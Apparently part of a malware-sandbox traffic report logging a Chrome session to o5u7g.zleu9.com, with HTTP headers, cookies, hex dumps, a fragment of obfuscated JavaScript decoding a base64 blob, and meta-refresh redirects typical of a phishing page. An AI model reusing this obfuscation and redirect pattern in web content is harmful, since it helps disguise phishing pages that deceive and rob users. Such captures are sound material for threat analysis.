2024-04-23 19:54:04 UTC	1403	OUT	POST /hwQyLxyNOyWBlYH9r31Ztr HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive Content-Length: 1291 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymH7uxZq3cMnZ1Fdy Accept: / Origin: https://o5u7g.zleu9.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://o5u7g.zleu9.com/O5u7Gw/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkJwS0o3dW9oY040VFdqODZlRjhYcHc9PSIsInZhbHVlIjoiMmFUMkVlZGRsdk9kQnFQTW1vQ3VMcnc1WHUxU1RrZ3JBMUFpS1BWdXUwYlZ6K3oxZ1dIUTNTZFNJZWc3ODJ0THJ5OGJIS1E4Z2tGNmRLNS93NmFuWkFLSElKTk40Q1BmaWNRQjVQdHdhZ21PcndJOVVodTM2STlNMDIremJFK3UiLCJtYWMiOiIxNTk1YTExOTc0MGE2ZTcxZDc1Y2IxNTc3OWJjNzMxN2U4N2IyMzI5MWVkYmExMGRmMzBlMzg2NTkyYmYzYzc5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjlVbDN3REQyYW9zNmczQ0pqRFlIcUE9PSIsInZhbHVlIjoiUnY2eXBxNU9LUVU5OUM0T1lWSllMYlBYT1R5WnhrOEU3c2FCZHNzQjdCeENNN3RiWThjblhSUXFZOHZmSWVwWjZuQ0VPZ0ZQQzd2T3BBamVyTXZLa0h2STlhRHVTelVSMWdwcFBDbTVkY09BUXlIend3T2swNmFtKzU4MWtnOW4iLCJtYWMiOiJkMmYwMGM5MjYzM2ViMDkyMDU0MmZhOTJlMmE0ZTY1YTRlZDQzYzBhZDIxY2M2Mjc2MDhmMGIyMzY5OGQ3MmJmIiwidGFnIjoiIn0%3D
2024-04-23 19:54:04 UTC	1291	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 6d 48 37 75 78 5a 71 33 63 4d 6e 5a 31 46 64 79 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 22 0d 0a 0d 0a 30 2e 68 51 6a 49 41 44 63 6b 4c 7a 76 4d 4a 37 33 78 6e 51 43 35 45 6c 56 6e 54 77 45 73 75 6c 34 70 59 6b 6d 4d 36 6d 5f 6c 44 6a 32 53 32 56 4a 78 2d 6b 44 44 4b 50 36 36 4e 67 59 4c 65 63 5a 51 45 30 43 4b 61 36 4e 78 63 72 4d 74 5a 45 42 66 75 4e 70 2d 69 30 77 30 4c 38 59 67 6f 67 34 36 79 4f 35 43 42 36 6d 64 6c 49 4a 67 79 76 59 41 33 49 72 5f 38 6b 59 63 68 43 67 35 39 57 76 2d 58 5f 57 61 6a 70 49 6b 4f 52 53 6d 47 6a 46 4a 68 6e 43 Data Ascii: ------WebKitFormBoundarymH7uxZq3cMnZ1FdyContent-Disposition: form-data; name="cf-turnstile-response"0.hQjIADckLzvMJ73xnQC5ElVnTwEsul4pYkmM6m_lDj2S2VJx-kDDKP66NgYLecZQE0CKa6NxcrMtZEBfuNp-i0w0L8Ygog46yO5CB6mdlIJgyvYA3Ir_8kYchCg59Wv-X_WajpIkORSmGjFJhnC
2024-04-23 19:54:05 UTC	997	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:54:04 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l%2FB72HiO3xTA55vgetVljh1CgFbHslBchu271JW2ku3RHc3%2BHvBE9v1AnIKxOtRL2Jn15cq7hq2mlRjcZ98PuceLvvPQzZQp%2BpM2DKfPjhXd00cjuSHkGFXhm3DA9A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6IjlQRlVUNHN6YnhFT3JocldlRXE4bGc9PSIsInZhbHVlIjoiKzlDc3U3V2pkL0pvTTc3QXNPVk1Fd25NdkhSUFQvaFdDU3JNVHppdFhEd3MvM25YbEd6K1pkclRLcGhQODQrVXRWbWwyQ21HanQxVTF0SEc1b3dsVHZtQkpwVlBtNVdOeURmcDhMaXNlanVpNWttaTV6R2lHdHFjbk1Rd0w3MXQiLCJtYWMiOiIzZjQwOGQ3MThiZDMyMGEyOWE5NjhkNTk2OGZmOGFhMjgzYTVhMTQyZTcwNzgzMDc4YWY4NmU3MDI5YTE0YjIzIiwidGFnIjoiIn0%3D; expires=Tue, 23-Apr-2024 21:54:04 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-04-23 19:54:05 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 69 73 72 53 58 59 35 4e 6b 78 36 54 54 56 72 65 57 31 71 51 6d 31 73 54 45 52 36 5a 32 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 65 46 70 68 52 6b 64 79 4f 55 39 6b 5a 53 39 30 63 48 68 54 5a 45 56 33 59 56 52 42 63 30 70 46 65 47 74 4b 55 48 4e 50 65 6b 46 79 4d 30 35 44 61 54 49 30 51 33 70 69 51 7a 5a 53 54 6b 34 30 55 30 31 76 4d 6b 4e 52 52 47 78 47 4f 44 63 7a 59 55 31 56 5a 57 56 74 4e 6d 6c 68 61 6d 68 53 53 6e 63 76 63 54 64 43 63 56 6f 35 54 55 35 6e 53 56 5a 35 4f 47 56 50 53 56 46 75 4d 54 42 78 63 30 5a 48 4e 30 6b 31 56 30 68 4e 4d 48 4e 6d 63 6e 67 79 64 6d 31 4e 62 32 31 52 63 6a 4e 59 61 48 64 6b 63 45 31 73 57 54 45 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IisrSXY5Nkx6TTVreW1qQm1sTER6Z2c9PSIsInZhbHVlIjoieFphRkdyOU9kZS90cHhTZEV3YVRBc0pFeGtKUHNPekFyM05DaTI0Q3piQzZSTk40U01vMkNRRGxGODczYU1VZWVtNmlhamhSSncvcTdCcVo5TU5nSVZ5OGVPSVFuMTBxc0ZHN0k1V0hNMHNmcngydm1Nb21RcjNYaHdkcE1sWTE
2024-04-23 19:54:05 UTC	26	IN	Data Raw: 31 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d 0d 0a Data Ascii: 14{"status":"success"}
2024-04-23 19:54:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49763	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:05 UTC	1463	OUT	GET /O5u7Gw/ HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://o5u7g.zleu9.com/O5u7Gw/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjlQRlVUNHN6YnhFT3JocldlRXE4bGc9PSIsInZhbHVlIjoiKzlDc3U3V2pkL0pvTTc3QXNPVk1Fd25NdkhSUFQvaFdDU3JNVHppdFhEd3MvM25YbEd6K1pkclRLcGhQODQrVXRWbWwyQ21HanQxVTF0SEc1b3dsVHZtQkpwVlBtNVdOeURmcDhMaXNlanVpNWttaTV6R2lHdHFjbk1Rd0w3MXQiLCJtYWMiOiIzZjQwOGQ3MThiZDMyMGEyOWE5NjhkNTk2OGZmOGFhMjgzYTVhMTQyZTcwNzgzMDc4YWY4NmU3MDI5YTE0YjIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IisrSXY5Nkx6TTVreW1qQm1sTER6Z2c9PSIsInZhbHVlIjoieFphRkdyOU9kZS90cHhTZEV3YVRBc0pFeGtKUHNPekFyM05DaTI0Q3piQzZSTk40U01vMkNRRGxGODczYU1VZWVtNmlhamhSSncvcTdCcVo5TU5nSVZ5OGVPSVFuMTBxc0ZHN0k1V0hNMHNmcngydm1Nb21RcjNYaHdkcE1sWTEiLCJtYWMiOiIzOTY1ZTM2YzJjZjRjYWRjMzcxOTc1NmUzYjYxMWVlZTNmNDY5NzAyMGRhNGMxOTAyNWExY2RiMWRiZmMxOTRiIiwidGFnIjoiIn0%3D
2024-04-23 19:54:05 UTC	1005	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:54:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NG%2FiveTvf6551j7hVXNN27J3hrcWmpQFkVjuKF90DGRWWT99tEjvfl8cbXvBWPUWzBnQdI0MZjBENlLWBmVxHvh4y0kIJ7d%2FOXYJRlVvZhdyt%2BfPZ6UoGPMwtlvz9w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6IkNhZUNlOU01cC9wUFk1Z0ExK1pyMVE9PSIsInZhbHVlIjoiVUIwZ1Y5bkJ3QWZLWmpHa1hhK29UZmFCQ2pEazd0cmpQUGFaTlN6ZzV5Q2pCU3B4WkErZGw4bUkrdHZJU1hOdzBzUmI4eUg2ZkxKVFljTzliTDJkKzJvMWQvak9pQ2VTN21KK3BGZ21leGMvMHEzZ09tY1NvZ2RpV0JVc0pUTmoiLCJtYWMiOiJjZjRjZDAzNGViNTZiMjIwZDk4OTBhOGU2MzljNGQ5YWZiYjkzMWRkOWQ4ZTE4NmU5MjBjOTkwYTY4ZmJjOGY2IiwidGFnIjoiIn0%3D; expires=Tue, 23-Apr-2024 21:54:05 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-04-23 19:54:05 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 68 45 64 6d 74 31 5a 44 4a 47 62 44 68 79 65 45 73 32 62 57 64 4e 4b 30 46 4e 63 48 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 64 33 4a 54 56 6e 51 30 52 46 42 54 65 57 6b 31 53 47 31 76 65 55 56 75 61 69 73 34 61 6d 46 43 63 31 5a 48 57 6a 5a 79 64 54 4a 4e 53 33 5a 70 57 46 4e 4c 5a 57 55 7a 61 6b 70 51 64 32 67 78 55 45 63 7a 54 6c 42 55 4d 45 52 6b 62 54 68 6d 4d 7a 5a 72 56 7a 52 48 4b 32 63 72 56 6a 45 7a 57 6a 64 4c 53 54 52 59 4e 32 70 6c 65 46 64 5a 5a 33 70 71 51 6a 68 47 52 31 45 31 51 30 35 4c 53 44 68 72 51 6d 77 76 55 6c 46 36 52 54 4e 53 4d 48 4e 54 4d 55 64 69 52 32 78 78 54 47 6c 71 4f 47 6c 71 55 45 6c 46 62 48 67 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IkhEdmt1ZDJGbDhyeEs2bWdNK0FNcHc9PSIsInZhbHVlIjoid3JTVnQ0RFBTeWk1SG1veUVuais4amFCc1ZHWjZydTJNS3ZpWFNLZWUzakpQd2gxUEczTlBUMERkbThmMzZrVzRHK2crVjEzWjdLSTRYN2pleFdZZ3pqQjhGR1E1Q05LSDhrQmwvUlF6RTNSMHNTMUdiR2xxTGlqOGlqUElFbHg
2024-04-23 19:54:05 UTC	1369	IN	Data Raw: 37 31 34 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 75 6e 63 74 69 6f 6e 20 67 44 6e 54 6b 58 52 62 43 55 28 51 52 4d 71 53 6a 67 43 67 44 2c 20 6c 79 6e 65 54 4a 56 56 56 6e 29 20 7b 0d 0a 6c 65 74 20 6b 45 66 44 70 67 6c 76 50 56 20 3d 20 27 27 3b 0d 0a 51 52 4d 71 53 6a 67 43 67 44 20 3d 20 61 74 6f 62 28 51 52 4d 71 53 6a 67 43 67 44 29 3b 0d 0a 6c 65 74 20 77 61 7a 75 4b 4d 79 4f 76 68 20 3d 20 6c 79 6e 65 54 4a 56 56 56 6e 2e 6c 65 6e 67 74 68 3b 0d 0a 66 6f 72 20 28 6c 65 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 51 52 4d 71 53 6a 67 43 67 44 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0d 0a 20 20 20 20 6b 45 66 44 70 67 6c 76 50 56 20 2b 3d 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 51 52 4d 71 53 6a 67 43 67 44 2e 63 68 61 72 43 6f Data Ascii: 714<script>function gDnTkXRbCU(QRMqSjgCgD, lyneTJVVVn) {let kEfDpglvPV = '';QRMqSjgCgD = atob(QRMqSjgCgD);let wazuKMyOvh = lyneTJVVVn.length;for (let i = 0; i < QRMqSjgCgD.length; i++) { kEfDpglvPV += String.fromCharCode(QRMqSjgCgD.charCo
2024-04-23 19:54:05 UTC	450	IN	Data Raw: 48 56 55 51 66 46 6b 30 50 46 49 6e 5a 47 4d 52 45 67 35 44 65 32 56 73 5a 41 77 58 57 47 51 6f 64 58 67 53 41 57 4a 31 59 68 51 55 65 57 68 37 45 31 42 69 4e 67 30 55 45 32 49 5a 62 42 56 4b 66 57 41 78 45 47 5a 37 46 43 6b 30 45 52 51 69 4f 56 55 6c 44 78 30 4f 65 47 78 30 51 55 59 5a 61 58 49 55 50 43 34 5a 4f 7a 77 5a 53 42 34 61 66 43 45 66 56 6d 39 78 63 52 6b 6e 4a 31 67 35 59 55 70 43 52 6d 77 5a 61 58 4a 44 50 43 5a 56 49 44 74 69 56 53 59 78 56 53 45 68 58 69 46 69 4a 45 73 73 4e 42 52 6f 61 45 59 6d 49 69 68 57 50 6e 78 59 4f 69 74 51 4f 79 55 6a 56 32 63 69 56 53 45 67 58 79 34 68 4b 51 4a 45 57 42 52 31 61 42 45 79 51 55 59 5a 61 58 49 55 50 43 34 5a 4f 7a 77 5a 53 42 34 61 66 43 45 66 56 6d 39 74 63 51 52 70 50 45 45 35 4a 42 67 30 51 55 59 Data Ascii: HVUQfFk0PFInZGMREg5De2VsZAwXWGQodXgSAWJ1YhQUeWh7E1BiNg0UE2IZbBVKfWAxEGZ7FCk0ERQiOVUlDx0OeGx0QUYZaXIUPC4ZOzwZSB4afCEfVm9xcRknJ1g5YUpCRmwZaXJDPCZVIDtiVSYxVSEhXiFiJEssNBRoaEYmIihWPnxYOitQOyUjV2ciVSEgXy4hKQJEWBR1aBEyQUYZaXIUPC4ZOzwZSB4afCEfVm9tcQRpPEE5JBg0QUY
2024-04-23 19:54:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49766	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:05 UTC	1084	OUT	GET /hwQyLxyNOyWBlYH9r31Ztr HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjlQRlVUNHN6YnhFT3JocldlRXE4bGc9PSIsInZhbHVlIjoiKzlDc3U3V2pkL0pvTTc3QXNPVk1Fd25NdkhSUFQvaFdDU3JNVHppdFhEd3MvM25YbEd6K1pkclRLcGhQODQrVXRWbWwyQ21HanQxVTF0SEc1b3dsVHZtQkpwVlBtNVdOeURmcDhMaXNlanVpNWttaTV6R2lHdHFjbk1Rd0w3MXQiLCJtYWMiOiIzZjQwOGQ3MThiZDMyMGEyOWE5NjhkNTk2OGZmOGFhMjgzYTVhMTQyZTcwNzgzMDc4YWY4NmU3MDI5YTE0YjIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IisrSXY5Nkx6TTVreW1qQm1sTER6Z2c9PSIsInZhbHVlIjoieFphRkdyOU9kZS90cHhTZEV3YVRBc0pFeGtKUHNPekFyM05DaTI0Q3piQzZSTk40U01vMkNRRGxGODczYU1VZWVtNmlhamhSSncvcTdCcVo5TU5nSVZ5OGVPSVFuMTBxc0ZHN0k1V0hNMHNmcngydm1Nb21RcjNYaHdkcE1sWTEiLCJtYWMiOiIzOTY1ZTM2YzJjZjRjYWRjMzcxOTc1NmUzYjYxMWVlZTNmNDY5NzAyMGRhNGMxOTAyNWExY2RiMWRiZmMxOTRiIiwidGFnIjoiIn0%3D
2024-04-23 19:54:05 UTC	583	IN	HTTP/1.1 404 Not Found Date: Tue, 23 Apr 2024 19:54:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aAQBgCXr2ciYWWLO%2BKMYF%2FzADHFbp%2FPmWWOO%2F5FoyHQZTpxR3tugX7jNwxxVqC61Inhpmx%2FBoCwR1IZFHc64BJjMfEcFxQp9z3lWEWvvLN3s9fuieNNVA8qbx9RQYA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 879067491afa6745-ATL
2024-04-23 19:54:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49762	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:05 UTC	1419	OUT	GET /O5u7Gw/?Z HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://o5u7g.zleu9.com/O5u7Gw/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkNhZUNlOU01cC9wUFk1Z0ExK1pyMVE9PSIsInZhbHVlIjoiVUIwZ1Y5bkJ3QWZLWmpHa1hhK29UZmFCQ2pEazd0cmpQUGFaTlN6ZzV5Q2pCU3B4WkErZGw4bUkrdHZJU1hOdzBzUmI4eUg2ZkxKVFljTzliTDJkKzJvMWQvak9pQ2VTN21KK3BGZ21leGMvMHEzZ09tY1NvZ2RpV0JVc0pUTmoiLCJtYWMiOiJjZjRjZDAzNGViNTZiMjIwZDk4OTBhOGU2MzljNGQ5YWZiYjkzMWRkOWQ4ZTE4NmU5MjBjOTkwYTY4ZmJjOGY2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkhEdmt1ZDJGbDhyeEs2bWdNK0FNcHc9PSIsInZhbHVlIjoid3JTVnQ0RFBTeWk1SG1veUVuais4amFCc1ZHWjZydTJNS3ZpWFNLZWUzakpQd2gxUEczTlBUMERkbThmMzZrVzRHK2crVjEzWjdLSTRYN2pleFdZZ3pqQjhGR1E1Q05LSDhrQmwvUlF6RTNSMHNTMUdiR2xxTGlqOGlqUElFbHgiLCJtYWMiOiJmMjI1NWRlNmY2OWM0NGYzNjc0YTlhZjBhOGRkZWZlODI0NTRmZjEzYjFjMjZlNDJlNzIyMTQwYzNlM2VkYmI1IiwidGFnIjoiIn0%3D
2024-04-23 19:54:06 UTC	1195	IN	HTTP/1.1 302 Found Date: Tue, 23 Apr 2024 19:54:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private Location: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HZJJwFSxxMLskbGaSk69c5vJjuXnlCjXkLTT1jl6Kfoo8E6VYSKwGl8AWd%2FIGID%2FZYS%2BgdUde0sEhOG9GC7lB5yCEb5lcvIPoaSxxAoqjcwSnMBXZFwusJPUBG97sA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6IkNwc2pyOTFSNCtVU0QwemNubFV0U1E9PSIsInZhbHVlIjoiUE1CQmNLeUZlVkgxeGFiV2QvNXVDT3hkMlY2YVF3QThnZ0lvRkM1MHpXU3B0ZFVseWh0RTJYWUVtekFXTFZDTGJyeTZJTUltS2JCd0FZcWIxcFk1WWJza280ZnMrTkZmVmtHRVBRUWtDb1NuSlBsUHI5RDlYT3p0RVRlU2huMkMiLCJtYWMiOiIzZDc4NDMxMjZiMTZkNDhlY2Q4M2Y0YTFmMDQ3ODEzNmZjNDljOTdiMWNhZjNhYzk5MjMxYTFhNDFjOWM3OWRiIiwidGFnIjoiIn0%3D; expires=Tue, 23-Apr-2024 21:54:06 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-04-23 19:54:06 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 70 52 63 46 68 31 4f 45 39 74 51 6a 56 76 5a 44 64 54 4d 44 46 78 51 33 6c 7a 62 32 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 4d 32 4a 6a 52 53 74 30 64 44 6c 58 4f 45 52 59 56 6d 6c 7a 52 47 35 5a 62 30 46 36 61 30 5a 32 64 47 67 32 63 30 4e 4e 4b 33 52 76 62 45 70 59 52 6b 39 42 55 45 59 35 62 46 52 36 5a 45 31 6e 54 6d 39 55 59 55 74 4b 4e 56 63 32 64 31 63 7a 61 6d 56 58 54 31 6c 4f 4f 44 41 72 62 30 35 54 61 47 6c 61 51 6c 46 49 4c 32 68 4d 5a 6a 52 4e 4e 55 78 50 4d 6e 52 72 53 46 52 4a 56 47 31 75 61 6b 59 32 62 48 68 4b 53 6b 59 77 52 46 5a 54 4d 46 64 6a 53 32 4a 51 52 30 68 48 59 31 56 43 52 33 5a 58 57 54 4a 79 54 30 6f Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IlpRcFh1OE9tQjVvZDdTMDFxQ3lzb2c9PSIsInZhbHVlIjoiM2JjRSt0dDlXOERYVmlzRG5Zb0F6a0Z2dGg2c0NNK3RvbEpYRk9BUEY5bFR6ZE1nTm9UYUtKNVc2d1czamVXT1lOODArb05TaGlaQlFIL2hMZjRNNUxPMnRrSFRJVG1uakY2bHhKSkYwRFZTMFdjS2JQR0hHY1VCR3ZXWTJyT0o
2024-04-23 19:54:06 UTC	953	IN	Data Raw: 33 62 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 6f 35 75 37 67 2e 7a 6c 65 75 39 2e 63 6f 6d 2f 58 68 61 51 45 4b 48 77 6d 71 65 58 69 75 43 62 4d 56 54 52 56 72 75 47 52 6a 52 50 52 49 44 57 46 55 50 46 49 43 50 45 59 5a 47 42 48 4d 57 47 45 56 56 50 50 42 58 56 51 44 4b 45 50 46 43 58 57 55 4a 3f 4d 43 46 4b 4b 43 54 46 57 59 53 41 45 46 50 53 43 4e 56 5a 51 4a 49 55 42 50 70 68 65 54 6f 6d 46 56 42 46 4f 43 4e 46 Data Ascii: 3b2<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNF
2024-04-23 19:54:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49767	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:06 UTC	1561	OUT	GET /XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://o5u7g.zleu9.com/O5u7Gw/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkNwc2pyOTFSNCtVU0QwemNubFV0U1E9PSIsInZhbHVlIjoiUE1CQmNLeUZlVkgxeGFiV2QvNXVDT3hkMlY2YVF3QThnZ0lvRkM1MHpXU3B0ZFVseWh0RTJYWUVtekFXTFZDTGJyeTZJTUltS2JCd0FZcWIxcFk1WWJza280ZnMrTkZmVmtHRVBRUWtDb1NuSlBsUHI5RDlYT3p0RVRlU2huMkMiLCJtYWMiOiIzZDc4NDMxMjZiMTZkNDhlY2Q4M2Y0YTFmMDQ3ODEzNmZjNDljOTdiMWNhZjNhYzk5MjMxYTFhNDFjOWM3OWRiIiwidGFnIjoiIn0%3D; 